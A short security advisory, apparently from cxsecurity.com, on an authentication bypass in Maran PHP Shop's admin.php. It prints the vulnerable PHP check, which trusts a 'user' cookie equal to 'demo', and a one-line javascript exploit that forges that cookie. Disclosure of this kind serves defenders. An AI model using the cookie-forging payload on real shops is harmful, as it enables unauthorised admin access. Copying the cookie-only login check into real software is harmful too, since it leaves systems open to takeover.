Maran PHP Shop (admin.php) Insecure Cookie Handling Vulnerability

2009-03-02 / 2009-03-03
Credit: JosS
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Maran PHP Shop (admin.php) Insecure Cookie Handling Vulnerability # url: http://www.maran.pamil-visions.com/maranshop.php # # Author: JosS # mail: sys-project[at]hotmail[dot]com # site: http://spanish-hackers.com # team: Spanish Hackers Team - [SHT] # # This was written for educational purpose. Use it at your own risk. # Author will be not responsible for any damage. vuln file: /admin.php vuln code: <? $readcookie = $_COOKIE['user']; if($readcookie!="demo"){echo "error 467. bad login! <a href='login.php'>login here</a>";exit;} //echo $_COOKIE['user']; ?> exploit: javascript:document.cookie = "user=demo; path=/"; Hack0wn :D


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top